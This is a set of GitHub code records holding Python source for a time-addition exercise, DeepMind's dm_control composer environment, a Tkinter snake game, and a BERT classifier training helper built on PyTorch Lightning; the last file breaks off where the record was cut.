{"seq_id":"1633105618","text":"def add_time(start_time, duration, starting_day=None):\n    # Parse start time\n    start_time_parsed, am_pm = start_time.split(\" \")\n    start_time_hours, start_time_minutes = map(int, start_time_parsed.split((\":\")))\n\n    # Parse duration\n    duration_hours, duration_minutes = map(int, duration.split(':'))\n\n    # Total time\n    total_minutes = start_time_minutes + duration_minutes\n    total_hours = start_time_hours + duration_hours\n    if total_minutes > 60:\n        total_minutes = total_minutes % 60\n        total_hours += 1\n\n    # Days later\n    if am_pm == \"PM\":\n        total_hours += 12\n    days_later = total_hours // 24\n    if days_later == 1:\n        days_later_str = f' (next day)'\n    elif days_later > 1:\n        days_later_str = f' ({days_later} days later)'\n    else:\n        days_later_str = ''\n\n    # Define hours in AM PM period\n    print(total_hours/24)\n    total_hours = total_hours % 24\n    print(total_hours)\n    if total_hours>=0 and total_hours<12:\n        am_pm = \"AM\"\n        if total_hours == 0:\n            total_hours = 12\n    else:\n        am_pm = \"PM\"\n        if total_hours != 12:\n            total_hours -= 12\n\n    # Add day of week if given\n    if starting_day:\n        starting_day = starting_day.lower()\n        weekdays = ['monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday']\n        start_weekday = weekdays.index(starting_day)\n        end_weekday = (start_weekday + days_later) % 7\n        day_of_week_str = f', {weekdays[end_weekday].capitalize()}'\n    else:\n        day_of_week_str = ''\n\n    full_str=f'{total_hours}:{total_minutes:02d} {am_pm}{day_of_week_str}{days_later_str}'\n    return full_str\n\n","repo_name":"ISazhyna/scientific-computing_python","sub_path":"add_time/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73566280143","text":"import enum\nimport warnings\nimport weakref\n\nfrom absl import logging\nfrom dm_control import mjcf\nfrom dm_control.composer import observation\nfrom dm_control.rl import control\nimport dm_env\nimport numpy as np\n\nwarnings.simplefilter('always', DeprecationWarning)\n\n_STEPS_LOGGING_INTERVAL = 10000\n\nHOOK_NAMES = ('initialize_episode_mjcf',\n              'after_compile',\n              'initialize_episode',\n              'before_step',\n              'before_substep',\n              'after_substep',\n              'after_step')\n\n_empty_function = lambda: None\n\n\ndef _empty_function_with_docstring():\n  \"\"\"Some docstring.\"\"\"\n\n_EMPTY_CODE = _empty_function.__code__.co_code\n_EMPTY_WITH_DOCSTRING_CODE = _empty_function_with_docstring.__code__.co_code\n\n\ndef _callable_is_trivial(f):\n  return (f.__code__.co_code == _EMPTY_CODE or\n          f.__code__.co_code == _EMPTY_WITH_DOCSTRING_CODE)\n\n\nclass ObservationPadding(enum.Enum):\n  INITIAL_VALUE = -1\n  ZERO = 0\n\n\nclass EpisodeInitializationError(RuntimeError):\n  \"\"\"Raised by a `composer.Task` when it fails to initialize an episode.\"\"\"\n\n\nclass _Hook:\n\n  __slots__ = ('entity_hooks', 'extra_hooks')\n\n  def __init__(self):\n    self.entity_hooks = []\n    self.extra_hooks = []\n\n\nclass _EnvironmentHooks:\n  \"\"\"Helper object that scans and memoizes various hooks in a task.\n\n  This object exist to ensure that we do not incur a substantial overhead in\n  calling empty entity hooks in more complicated tasks.\n  \"\"\"\n\n  __slots__ = (('_task', '_episode_step_count') +\n               tuple('_' + hook_name for hook_name in HOOK_NAMES))\n\n  def __init__(self, task):\n    self._task = task\n    self._episode_step_count = 0\n    for hook_name in HOOK_NAMES:\n      slot_name = '_' + hook_name\n      setattr(self, slot_name, _Hook())\n    self.refresh_entity_hooks()\n\n  def refresh_entity_hooks(self):\n    \"\"\"Scans and memoizes all non-trivial entity hooks.\"\"\"\n    for hook_name in HOOK_NAMES:\n      hooks = []\n      for entity in self._task.root_entity.iter_entities():\n        entity_hook = getattr(entity, hook_name)\n        # Ignore any hook that is a no-op to avoid function call overhead.\n        if not _callable_is_trivial(entity_hook):\n          hooks.append(entity_hook)\n      getattr(self, '_' + hook_name).entity_hooks = hooks\n\n  def add_extra_hook(self, hook_name, hook_callable):\n    if hook_name not in HOOK_NAMES:\n      raise ValueError('{!r} is not a valid hook name'.format(hook_name))\n    if not callable(hook_callable):\n      raise ValueError('{!r} is not a callable'.format(hook_callable))\n    getattr(self, '_' + hook_name).extra_hooks.append(hook_callable)\n\n  def initialize_episode_mjcf(self, random_state):\n    self._task.initialize_episode_mjcf(random_state)\n    for entity_hook in self._initialize_episode_mjcf.entity_hooks:\n      entity_hook(random_state)\n    for extra_hook in self._initialize_episode_mjcf.extra_hooks:\n      extra_hook(random_state)\n\n  def after_compile(self, physics, random_state):\n    self._task.after_compile(physics, random_state)\n    for entity_hook in self._after_compile.entity_hooks:\n      entity_hook(physics, random_state)\n    for extra_hook in self._after_compile.extra_hooks:\n      extra_hook(physics, random_state)\n\n  def initialize_episode(self, physics, random_state):\n    self._episode_step_count = 0\n    self._task.initialize_episode(physics, random_state)\n    for entity_hook in self._initialize_episode.entity_hooks:\n      entity_hook(physics, random_state)\n    for extra_hook in self._initialize_episode.extra_hooks:\n      extra_hook(physics, random_state)\n\n  def before_step(self, physics, action, random_state):\n    self._episode_step_count += 1\n    if self._episode_step_count % _STEPS_LOGGING_INTERVAL == 0:\n      logging.info('The current episode has been running for %d steps.',\n                   self._episode_step_count)\n    self._task.before_step(physics, action, random_state)\n    for entity_hook in self._before_step.entity_hooks:\n      entity_hook(physics, random_state)\n    for extra_hook in self._before_step.extra_hooks:\n      extra_hook(physics, action, random_state)\n\n  def before_substep(self, physics, action, random_state):\n    self._task.before_substep(physics, action, random_state)\n    for entity_hook in self._before_substep.entity_hooks:\n      entity_hook(physics, random_state)\n    for extra_hooks in self._before_substep.extra_hooks:\n      extra_hooks(physics, action, random_state)\n\n  def after_substep(self, physics, random_state):\n    self._task.after_substep(physics, random_state)\n    for entity_hook in self._after_substep.entity_hooks:\n      entity_hook(physics, random_state)\n    for extra_hook in self._after_substep.extra_hooks:\n      extra_hook(physics, random_state)\n\n  def after_step(self, physics, random_state):\n    self._task.after_step(physics, random_state)\n    for entity_hook in self._after_step.entity_hooks:\n      entity_hook(physics, random_state)\n    for extra_hook in self._after_step.extra_hooks:\n      extra_hook(physics, random_state)\n\n\nclass _CommonEnvironment:\n  \"\"\"Common components for RL environments.\"\"\"\n\n  def __init__(self, task, time_limit=float('inf'), random_state=None,\n               n_sub_steps=None,\n               raise_exception_on_physics_error=True,\n               strip_singleton_obs_buffer_dim=False,\n               delayed_observation_padding=ObservationPadding.ZERO,\n               legacy_step: bool = True):\n    \"\"\"Initializes an instance of `_CommonEnvironment`.\n\n    Args:\n      task: Instance of `composer.base.Task`.\n      time_limit: (optional) A float, the time limit in seconds beyond which an\n        episode is forced to terminate.\n      random_state: Optional, either an int seed or an `np.random.RandomState`\n        object. If None (default), the random number generator will self-seed\n        from a platform-dependent source of entropy.\n      n_sub_steps: (DEPRECATED) An integer, number of physics steps to take per\n        agent control step. New code should instead override the\n        `control_substep` property of the task.\n      raise_exception_on_physics_error: (optional) A boolean, indicating whether\n        `PhysicsError` should be raised as an exception. If `False`, physics\n        errors will result in the current episode being terminated with a\n        warning logged, and a new episode started.\n      strip_singleton_obs_buffer_dim: (optional) A boolean, if `True`,\n        the array shape of observations with `buffer_size == 1` will not have a\n        leading buffer dimension.\n      delayed_observation_padding: (optional) An `ObservationPadding` enum value\n        specifying the padding behavior of the initial buffers for delayed\n        observables. If `ZERO` then the buffer is initially filled with zeroes.\n        If `INITIAL_VALUE` then the buffer is initially filled with the first\n        observation values.\n      legacy_step: If True, steps the state with up-to-date position and\n        velocity dependent fields. See Page 6 of\n        https://arxiv.org/abs/2006.12983 for more information.\n    \"\"\"\n    if not isinstance(delayed_observation_padding, ObservationPadding):\n      raise ValueError(\n          f'`delayed_observation_padding` should be an `ObservationPadding` '\n          f'enum value: got {delayed_observation_padding}')\n\n    self._task = task\n    if not isinstance(random_state, np.random.RandomState):\n      self._random_state = np.random.RandomState(random_state)\n    else:\n      self._random_state = random_state\n    self._hooks = _EnvironmentHooks(self._task)\n    self._time_limit = time_limit\n    self._raise_exception_on_physics_error = raise_exception_on_physics_error\n    self._strip_singleton_obs_buffer_dim = strip_singleton_obs_buffer_dim\n    self._delayed_observation_padding = delayed_observation_padding\n    self._legacy_step = legacy_step\n\n    if n_sub_steps is not None:\n      warnings.simplefilter('once', DeprecationWarning)\n      warnings.warn('The `n_sub_steps` argument is deprecated. Please override '\n                    'the `control_timestep` property of the task instead.',\n                    DeprecationWarning)\n    self._overridden_n_sub_steps = n_sub_steps\n\n    self._recompile_physics_and_update_observables()\n\n  def add_extra_hook(self, hook_name, hook_callable):\n    self._hooks.add_extra_hook(hook_name, hook_callable)\n\n  def _recompile_physics_and_update_observables(self):\n    \"\"\"Sets up the environment for latest MJCF model from the task.\"\"\"\n    self._physics_proxy = None\n    self._recompile_physics()\n    if isinstance(self._physics, weakref.ProxyType):\n      self._physics_proxy = self._physics\n    else:\n      self._physics_proxy = weakref.proxy(self._physics)\n\n    if self._overridden_n_sub_steps is not None:\n      self._n_sub_steps = self._overridden_n_sub_steps\n    else:\n      self._n_sub_steps = self._task.physics_steps_per_control_step\n\n    self._hooks.refresh_entity_hooks()\n    self._hooks.after_compile(self._physics_proxy, self._random_state)\n    self._observation_updater = self._make_observation_updater()\n    self._observation_updater.reset(self._physics_proxy, self._random_state)\n\n  def _recompile_physics(self):\n    \"\"\"Creates a new Physics using the latest MJCF model from the task.\"\"\"\n    if getattr(self, '_physics', None):\n      self._physics.free()\n    self._physics = mjcf.Physics.from_mjcf_model(\n        self._task.root_entity.mjcf_model)\n    self._physics.legacy_step = self._legacy_step\n\n  def _make_observation_updater(self):\n    pad_with_initial_value = (\n        self._delayed_observation_padding == ObservationPadding.INITIAL_VALUE)\n    return observation.Updater(\n        self._task.observables, self._task.physics_steps_per_control_step,\n        self._strip_singleton_obs_buffer_dim, pad_with_initial_value)\n\n  @property\n  def physics(self):\n    \"\"\"Returns a `weakref.ProxyType` pointing to the current `mjcf.Physics`.\n\n    Note that the underlying `mjcf.Physics` will be destroyed whenever the MJCF\n    model is recompiled. It is therefore unsafe for external objects to hold a\n    reference to `environment.physics`. Attempting to access attributes of a\n    dead `Physics` instance will result in a `ReferenceError`.\n    \"\"\"\n    return self._physics_proxy\n\n  @property\n  def task(self):\n    return self._task\n\n  @property\n  def random_state(self):\n    return self._random_state\n\n  def control_timestep(self):\n    \"\"\"Returns the interval between agent actions in seconds.\"\"\"\n    if self._overridden_n_sub_steps is not None:\n      return self.physics.timestep() * self._overridden_n_sub_steps\n    else:\n      return self.task.control_timestep\n\n\nclass Environment(_CommonEnvironment, dm_env.Environment):\n  \"\"\"Reinforcement learning environment for Composer tasks.\"\"\"\n\n  def __init__(self, task, time_limit=float('inf'), random_state=None,\n               n_sub_steps=None,\n               raise_exception_on_physics_error=True,\n               strip_singleton_obs_buffer_dim=False,\n               max_reset_attempts=1,\n               delayed_observation_padding=ObservationPadding.ZERO,\n               legacy_step: bool = True):\n    \"\"\"Initializes an instance of `Environment`.\n\n    Args:\n      task: Instance of `composer.base.Task`.\n      time_limit: (optional) A float, the time limit in seconds beyond which\n        an episode is forced to terminate.\n      random_state: (optional) an int seed or `np.random.RandomState` instance.\n      n_sub_steps: (DEPRECATED) An integer, number of physics steps to take per\n        agent control step. New code should instead override the\n        `control_substep` property of the task.\n      raise_exception_on_physics_error: (optional) A boolean, indicating whether\n        `PhysicsError` should be raised as an exception. If `False`, physics\n        errors will result in the current episode being terminated with a\n        warning logged, and a new episode started.\n      strip_singleton_obs_buffer_dim: (optional) A boolean, if `True`,\n        the array shape of observations with `buffer_size == 1` will not have a\n        leading buffer dimension.\n      max_reset_attempts: (optional) Maximum number of times to try resetting\n        the environment. If an `EpisodeInitializationError` is raised\n        during this process, an environment reset is reattempted up to this\n        number of times. If this count is exceeded then the most recent\n        exception will be allowed to propagate. Defaults to 1, i.e. no failure\n        is allowed.\n      delayed_observation_padding: (optional) An `ObservationPadding` enum value\n        specifying the padding behavior of the initial buffers for delayed\n        observables. If `ZERO` then the buffer is initially filled with zeroes.\n        If `INITIAL_VALUE` then the buffer is initially filled with the first\n        observation values.\n      legacy_step: If True, steps the state with up-to-date position and\n        velocity dependent fields.\n    \"\"\"\n    super().__init__(\n        task=task,\n        time_limit=time_limit,\n        random_state=random_state,\n        n_sub_steps=n_sub_steps,\n        raise_exception_on_physics_error=raise_exception_on_physics_error,\n        strip_singleton_obs_buffer_dim=strip_singleton_obs_buffer_dim,\n        delayed_observation_padding=delayed_observation_padding,\n        legacy_step=legacy_step)\n    self._max_reset_attempts = max_reset_attempts\n    self._reset_next_step = True\n\n  def reset(self):\n    failed_attempts = 0\n    while True:\n      try:\n        return self._reset_attempt()\n      except EpisodeInitializationError as e:\n        failed_attempts += 1\n        if failed_attempts < self._max_reset_attempts:\n          logging.error('Error during episode reset: %s', repr(e))\n        else:\n          raise\n\n  def _reset_attempt(self):\n    self._hooks.initialize_episode_mjcf(self._random_state)\n    self._recompile_physics_and_update_observables()\n    with self._physics.reset_context():\n      self._hooks.initialize_episode(self._physics_proxy, self._random_state)\n    self._observation_updater.reset(self._physics_proxy, self._random_state)\n    self._reset_next_step = False\n    return dm_env.TimeStep(\n        step_type=dm_env.StepType.FIRST,\n        reward=None,\n        discount=None,\n        observation=self._observation_updater.get_observation())\n\n  # TODO(b/129061424): Remove this method.\n  def step_spec(self):\n    \"\"\"DEPRECATED: please use `reward_spec` and `discount_spec` instead.\"\"\"\n    warnings.warn('`step_spec` is deprecated, please use `reward_spec` and '\n                  '`discount_spec` instead.', DeprecationWarning)\n    if (self._task.get_reward_spec() is None or\n        self._task.get_discount_spec() is None):\n      raise NotImplementedError\n    return dm_env.TimeStep(\n        step_type=None,\n        reward=self._task.get_reward_spec(),\n        discount=self._task.get_discount_spec(),\n        observation=self._observation_updater.observation_spec(),\n    )\n\n  def step(self, action):\n    \"\"\"Updates the environment using the action and returns a `TimeStep`.\"\"\"\n    if self._reset_next_step:\n      self._reset_next_step = False\n      return self.reset()\n\n    self._hooks.before_step(self._physics_proxy, action, self._random_state)\n    self._observation_updater.prepare_for_next_control_step()\n\n    try:\n      for i in range(self._n_sub_steps):\n        self._substep(action)\n        # The final observation update must happen after all the hooks in\n        # `self._hooks.after_step` is called. Otherwise, if any of these hooks\n        # modify the physics state then we might capture an observation that is\n        # inconsistent with the final physics state.\n        if i < self._n_sub_steps - 1:\n          self._observation_updater.update()\n      physics_is_divergent = False\n    except control.PhysicsError as e:\n      if not self._raise_exception_on_physics_error:\n        logging.warning(e)\n        physics_is_divergent = True\n      else:\n        raise\n\n    self._hooks.after_step(self._physics_proxy, self._random_state)\n    self._observation_updater.update()\n\n    if not physics_is_divergent:\n      reward = self._task.get_reward(self._physics_proxy)\n      discount = self._task.get_discount(self._physics_proxy)\n      terminating = (\n          self._task.should_terminate_episode(self._physics_proxy)\n          or self._physics.time() >= self._time_limit\n      )\n    else:\n      reward = 0.0\n      discount = 0.0\n      terminating = True\n\n    obs = self._observation_updater.get_observation()\n\n    if not terminating:\n      return dm_env.TimeStep(dm_env.StepType.MID, reward, discount, obs)\n    else:\n      self._reset_next_step = True\n      return dm_env.TimeStep(dm_env.StepType.LAST, reward, discount, obs)\n\n  def _substep(self, action):\n    self._hooks.before_substep(\n        self._physics_proxy, action, self._random_state)\n    self._physics.step()\n    self._hooks.after_substep(self._physics_proxy, self._random_state)\n\n  def action_spec(self):\n    \"\"\"Returns the action specification for this environment.\"\"\"\n    return self._task.action_spec(self._physics_proxy)\n\n  def reward_spec(self):\n    \"\"\"Describes the reward returned by this environment.\n\n    This will be the output of `self.task.reward_spec()` if it is not None,\n    otherwise it will be the default spec returned by\n    `dm_env.Environment.reward_spec()`.\n\n    Returns:\n      A `specs.Array` instance, or a nested dict, list or tuple of\n      `specs.Array`s.\n    \"\"\"\n    task_reward_spec = self._task.get_reward_spec()\n    if task_reward_spec is not None:\n      return task_reward_spec\n    else:\n      return super().reward_spec()\n\n  def discount_spec(self):\n    \"\"\"Describes the discount returned by this environment.\n\n    This will be the output of `self.task.discount_spec()` if it is not None,\n    otherwise it will be the default spec returned by\n    `dm_env.Environment.discount_spec()`.\n\n    Returns:\n      A `specs.Array` instance, or a nested dict, list or tuple of\n      `specs.Array`s.\n    \"\"\"\n    task_discount_spec = self._task.get_discount_spec()\n    if task_discount_spec is not None:\n      return task_discount_spec\n    else:\n      return super().discount_spec()\n\n  def observation_spec(self):\n    \"\"\"Returns the observation specification for this environment.\n\n    Returns:\n      An `OrderedDict` mapping observation name to `specs.Array` containing\n      observation shape and dtype.\n    \"\"\"\n    return self._observation_updater.observation_spec()\n","repo_name":"deepmind/dm_control","sub_path":"dm_control/composer/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":18329,"program_lang":"python","lang":"en","doc_type":"code","stars":3200,"dataset":"github-code","pt":"47"}
{"seq_id":"40877486028","text":"from Head import Head\nfrom TailPart import TailPart\n\n\nclass Snake:\n    def __init__(self, canvas, root):\n        self.canvas = canvas\n        self.root = root\n        self.head = Head(canvas, root)\n        self.tail_parts = []\n\n        self.move_tail_parts()\n\n    def add_new_tail_part(self):\n        only_head_exists = len(self.tail_parts) == 0\n        if only_head_exists:\n            prev_tail_part = self.head.square\n        else:\n            prev_tail_part = self.tail_parts[len(self.tail_parts) - 1].square\n\n        prev_tail_part_position = self.canvas.coords(prev_tail_part)\n        self.tail_parts.append(TailPart(self.canvas, prev_tail_part_position[0], prev_tail_part_position[1]))\n\n    def move_tail_parts(self):\n\n        for i in range(len(self.tail_parts) - 1, -1, -1):\n            if i == 0:\n                prev_tail_part = self.head.square\n            else:\n                prev_tail_part = self.tail_parts[i - 1].square\n\n            prev_tail_part_position = self.canvas.coords(prev_tail_part)\n            self.tail_parts[i].move(prev_tail_part_position)\n        self.root.after(80, self.move_tail_parts)\n\n    def remove_tail_parts(self):\n        for part in self.tail_parts:\n            self.canvas.delete(part.square)\n        self.tail_parts.clear()\n","repo_name":"johnnyweak1/Python-SnakeGame","sub_path":"Snake.py","file_name":"Snake.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"15049483155","text":"import torch\nimport os\nimport pandas as pd\nimport numpy as np\nimport pytorch_lightning as pl\n\nfrom decouple import config\nfrom torch.utils.data import Dataset, DataLoader\nfrom transformers import BertForSequenceClassification\nfrom transformers import AutoTokenizer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom torch.optim import AdamW\nfrom datetime import datetime\nfrom typing import Any\n\n# atribui valores padrão\nDEFAULTS: dict[str, Any] = {\n    'seed': config('SEED', cast=int, default=42),\n    'padding': config('PADDING', default='max_length', cast=str),\n    'truncation': config('TRUNCATION', default=True, cast=bool),\n    'truncation_side': config('TRUNCATION_SIDE', default='right', cast=str),\n    'return_tensors': config('RETURN_TENSORS', default='pt', cast=str),\n    'max_tokens': config('MAX_TOKENS', default=512, cast=int),\n    'batch_size': config('BATCH_SIZE', default=16, cast=int),\n    'num_workers': config('MAX_TOKENS', default=512, cast=int),\n    'split_size': config('SPLIT_SIZE_BERT', default=.2, cast=float),\n    'learning_rate': config('LEARNING_RATE_BERT', default=2e-5, cast=float),\n    'max_epochs': config('MAX_EPOCHS', default=5, cast=int),\n    'enable_checkpointing': config('ENABLE_CHECKPOINTING', default=True, cast=bool),\n}\n\n# configure global seed\npl.seed_everything(DEFAULTS['seed'])\n\n\n# helper functions\ndef get_variable_name(variable):\n    for name in globals():\n        if id(globals()[name]) == id(variable):\n            return name\n    for name in locals():\n        if id(locals()[name]) == id(variable):\n            return name\n    return None\n\n\ndef check_possible_variable(variable, possible_values):\n    if variable not in possible_values:\n        raise ValueError(f\"Only followed values are allowed for '{get_variable_name(variable)}': {possible_values}.\")\n\n\ndef cria_logger(experimento: str, id: str):\n    logger = pl.loggers.TensorBoardLogger(\n        save_dir=os.getcwd(),\n        name=experimento,\n        version=id\n    )\n    return logger\n\n\nclass CreateDataset(Dataset):\n    \"\"\"\n    Class that handles dataset, tokenizing and batching for BERT.\n    Inherits from torch.utils.data.Dataset\n    \"\"\"\n\n    def __init__(\n            self,\n            dataframe: pd.DataFrame,\n            tokenizer,\n            max_tokens: int,\n            class_col: str,\n            padding: str = DEFAULTS['padding'],\n            truncation: bool = DEFAULTS['truncation'],\n            truncation_side: str = DEFAULTS['truncation_side'],\n            return_tensors: str = DEFAULTS['return_tensors'],\n    ):\n\n        check_possible_variable(\n            truncation_side,\n            ['left', 'right', 'combined']\n        )\n\n        self.dataframe = dataframe.copy()\n        self.tokenizer = tokenizer\n        self.max_tokens = max_tokens\n        self.padding = padding\n        self.class_col = class_col\n        self.return_tensors = return_tensors\n        self.truncation = truncation\n        self.truncation_side = truncation_side\n\n        if truncation_side == 'combined':\n            self.truncation = False\n\n        if type(tokenizer) == str:\n            self.tokenizer = AutoTokenizer.from_pretrained(\n                tokenizer,\n                truncation_side=truncation_side\n            )\n        else:\n            self.tokenizer = tokenizer\n\n    def __len__(self):\n        return len(self.dataframe)\n\n    def __getitem__(self, index: int):\n\n        conteudo = self.dataframe.iloc[index]['conteudo']\n        label = self.dataframe.iloc[index][self.class_col]\n\n        # tokenização\n        encoding = self.tokenizer.encode_plus(\n            conteudo,\n            add_special_tokens=True,\n            max_length=self.max_tokens,\n            padding=self.padding,\n            truncation=self.truncation,\n            return_attention_mask=True,\n            return_tensors=self.return_tensors\n        )\n\n        input_ids = encoding[\"input_ids\"].flatten()\n        attention_mask = encoding[\"attention_mask\"].flatten()\n\n        if self.truncation_side == 'combined':\n            a = input_ids[0:255]\n            c = input_ids[-1:]\n            b = input_ids[-256:]\n            input_ids = torch.cat([a, c, b])\n            a = attention_mask[0:255]\n            c = attention_mask[-1:]\n            b = attention_mask[-256:]\n            attention_mask = torch.cat([a, c, b])\n\n        return dict(\n            input_ids=input_ids,\n            attention_mask=attention_mask,\n            label=torch.tensor(label),\n            conteudo=conteudo\n        )\n\n\n# noinspection PyPep8Naming\nclass DataModuler(pl.LightningDataModule):\n    \"\"\"Encapsulates all data loading logic and returns the necessary data loaders.\"\"\"\n\n    def __init__(\n            self,\n            X: np.ndarray,\n            y: np.ndarray,\n            tokenizer,\n            split_size: float = DEFAULTS['split_size'],\n            max_tokens: int = DEFAULTS['max_tokens'],\n            batch_size: int = DEFAULTS['batch_size'],\n            num_workers: int = DEFAULTS['num_workers'],\n            padding: str = DEFAULTS['padding'],\n            truncation: bool = DEFAULTS['truncation'],\n            truncation_side: str = DEFAULTS['truncation_side']\n    ):\n        super().__init__()\n        self.X = X\n        self.y = y\n        self.max_tokens = max_tokens\n        self.batch_size = batch_size\n        self.split_size = split_size\n        self.num_workers = num_workers\n        self.tokenizer = tokenizer\n        self.padding = padding\n        self.truncation = truncation\n        self.truncation_side = truncation_side\n\n        self.validation_dataframe = None\n        self.train_dataframe = None\n        self.train_dataset = None\n        self.validation_dataset = None\n\n    def prepare_data(self):\n        print(\"Preparando dados...\")\n        print('...')\n\n        # SPLIT\n        # conteudo e classes\n        X = self.X\n        y = self.y\n\n        print(f'Total de registros {len(X)}')\n        print(f'Realizando split em {self.split_size * 100}%...')\n        print('...')\n\n        # split em conjunto de treinamento e conjunto de testes\n        X_train, X_test, y_train, y_test = train_test_split(\n            X,\n            y,\n            test_size=self.split_size,\n            random_state=DEFAULTS['seed'],\n            shuffle=True,\n            stratify=y\n        )\n\n        # verificando tamanhos\n        print(f'A base de treinamento possui {len(X_train)} exemplos')\n        print(f'A base de validação possui {len(X_test)} exemplos')\n        print('...')\n\n        self.train_dataframe = pd.DataFrame(data={\n            'conteudo': X_train.reshape(-1),\n            'classe': y_train.reshape(-1)\n        }\n        )\n\n        self.validation_dataframe = pd.DataFrame(data={\n            'conteudo': X_test.reshape(-1),\n            'classe': y_test.reshape(-1)\n        }\n        )\n\n    def setup(self, stage=None):\n        self.prepare_data()\n\n        self.train_dataset = CreateDataset(\n            dataframe=self.train_dataframe,\n            tokenizer=self.tokenizer,\n            max_tokens=self.max_tokens,\n            class_col='classe',\n            padding=self.padding,\n            truncation=self.truncation,\n            truncation_side=self.truncation_side\n        )\n\n        self.validation_dataset = CreateDataset(\n            dataframe=self.validation_dataframe,\n            tokenizer=self.tokenizer,\n            max_tokens=self.max_tokens,\n            class_col='classe',\n            padding=self.padding,\n            truncation=self.truncation,\n            truncation_side=self.truncation_side\n        )\n\n        print('Datasets prontos!')\n        print('')\n        print('')\n\n    def train_dataloader(self):\n        return DataLoader(\n            self.train_dataset,\n            batch_size=self.batch_size,\n            shuffle=True,\n            num_workers=self.num_workers,\n        )\n\n    def val_dataloader(self):\n        return DataLoader(\n            self.validation_dataset,\n            batch_size=self.batch_size,\n            shuffle=False,\n            num_workers=self.num_workers\n        )\n\n\n# noinspection PyTypeChecker\nclass BERTClassifier(pl.LightningModule):\n\n    def __init__(\n            self,\n            model_name: str,\n            num_classes: int,\n            batch_size: int = DEFAULTS['batch_size'],\n            freeze_bert: bool = False,\n            lr: float = DEFAULTS['learning_rate'],\n    ):\n        super().__init__()\n\n        self.bert = BertForSequenceClassification.from_pretrained(\n            model_name,\n            num_labels=num_classes,\n            output_hidden_states=True,\n            problem_type=\"single_label_classification\"\n        )\n\n        self.batch_size = batch_size\n        self.save_hyperparameters()\n        self.lr = lr\n\n        if freeze_bert:\n            for param in self.bert.parameters():\n                param.requires_grad = False\n\n    def forward(self, input_ids, attention_mask):\n        outputs = self.bert(\n            input_ids=input_ids,\n            attention_mask=attention_mask\n        )\n        logits = outputs.logits\n        return logits\n\n    def training_step(self, batch, batch_idx):\n\n        input_ids = batch['input_ids']\n        attention_mask = batch['attention_mask']\n        labels = batch['label']\n\n        output = self.bert(\n            input_ids=input_ids,\n            attention_mask=attention_mask,\n            labels=labels\n        )\n\n        loss = output.loss\n\n        log_dict = {\n            'epoch': float(self.current_epoch) + 1,\n            'train_loss': float(loss),\n        }\n\n        self.log_dict(log_dict, batch_size=self.batch_size)\n\n        return loss\n\n    def validation_step(self, batch, batch_idx):\n\n        input_ids = batch['input_ids']\n        attention_mask = batch['attention_mask']\n        labels = batch['label']\n\n        output = self.bert(\n            input_ids=input_ids,\n            attention_mask=attention_mask,\n            # labels=labels\n        )\n\n        preds = torch.argmax(output.logits, dim=1)\n        report = classification_report(\n            labels.cpu(),\n            preds.cpu(),\n            output_dict=True,\n            zero_division=0,\n            digits=3\n        )\n\n        log_dict = {\n            'epoch': float(self.current_epoch) + 1,\n            'val_acc': report['accuracy'],\n            'val_precision': report['macro avg']['precision'],\n            'val_recall': report['macro avg']['recall'],\n            'val_f1-score': report['macro avg']['f1-score'],\n        }\n\n        self.log_dict(log_dict, batch_size=self.batch_size)\n\n    def configure_optimizers(self):\n        optimizer = AdamW(\n            self.parameters(),\n            lr=self.lr\n        )\n        return optimizer\n\n\ncheckpoint_callback = pl.callbacks.ModelCheckpoint(\n    verbose=True,\n    monitor=\"val_f1-score\",\n    save_top_k=1,\n    mode='max',\n    save_on_train_epoch_end=False\n)\n\n\n# noinspection PyPep8Naming\ndef prepare_bert_objects(\n        X,\n        y,\n        model_name: str,\n        split_size: float = DEFAULTS['split_size'],\n        max_tokens: int = DEFAULTS['max_tokens'],\n        batch_size: int = DEFAULTS['batch_size'],\n        lr: float = DEFAULTS['learning_rate'],\n        id=None,\n        experimento: str = \"\",\n        tokenizer=None,\n        fast_dev_run=False,  # recommended for debugging purposes\n        num_workers=DEFAULTS['num_workers'],\n        padding=DEFAULTS['padding'],\n        truncation=DEFAULTS['truncation'],\n        truncation_side=DEFAULTS['truncation_side'],\n        devices=\"auto\",\n        max_epochs=DEFAULTS['max_epochs'],\n        enable_checkpointing=DEFAULTS['enable_checkpointing'],\n        callback=checkpoint_callback,\n):\n\n    num_classes = np.unique(y).shape[0]\n\n    if id is None:\n        now = datetime.now().strftime('%y-%m-%d_%H%M%S')\n        id = f\"{model_name.replace('/', '-')}__{max_tokens}__{truncation_side}__{now}\"\n\n    # modelo\n    model = BERTClassifier(\n        model_name=model_name,\n        batch_size=batch_size,\n        num_classes=num_classes,\n        lr=lr\n    )\n\n    # data_moduler\n    data_module = DataModuler(\n        X,\n        y,\n        split_size=split_size,\n        tokenizer=tokenizer,\n        max_tokens=max_tokens,\n        num_workers=num_workers,\n        batch_size=batch_size,\n        padding=padding,\n        truncation=truncation,\n        truncation_side=truncation_side\n    )\n\n    # trainer\n    trainer = pl.Trainer(\n        max_epochs=max_epochs,\n        accelerator=\"auto\",  # if not set is set to auto\n        devices=devices,  # if not set is set to auto\n        benchmark=True,  # can increase the speed of your system if your input sizes don’t change\n        enable_checkpointing=enable_checkpointing,\n        fast_dev_run=fast_dev_run,\n        callbacks=[callback],\n        logger=cria_logger(\n            experimento=experimento,\n            id=id\n        ),\n    )\n\n    return model, data_module, trainer\n\n\ndef test_report(model, dataloader, device):\n    \"\"\"Use it to test the model over validation dataloader.\"\"\"\n    y_real = []\n    y_preds = []\n\n    total = len(dataloader)\n    print(f\"Total de {total} batches.\")\n\n    for i, batch in enumerate(dataloader):\n\n        y_real.extend(batch['label'].tolist())\n\n        logits = model(\n            batch['input_ids'].to(device),\n            batch['attention_mask'].to(device)\n            )\n        preds = torch.argmax(logits, dim=1).tolist()\n        y_preds.extend(preds)\n\n        if i % 200 == 0 and not i == 0:\n            print(f\"Batch {i}/{total} done....\")\n\n    print(\"Done!\")\n    print(\"\")\n    print(\"\")\n    print(classification_report(y_real, y_preds))\n    report = classification_report(y_real, y_preds, output_dict=True, digits=3)\n\n    return report, y_real, 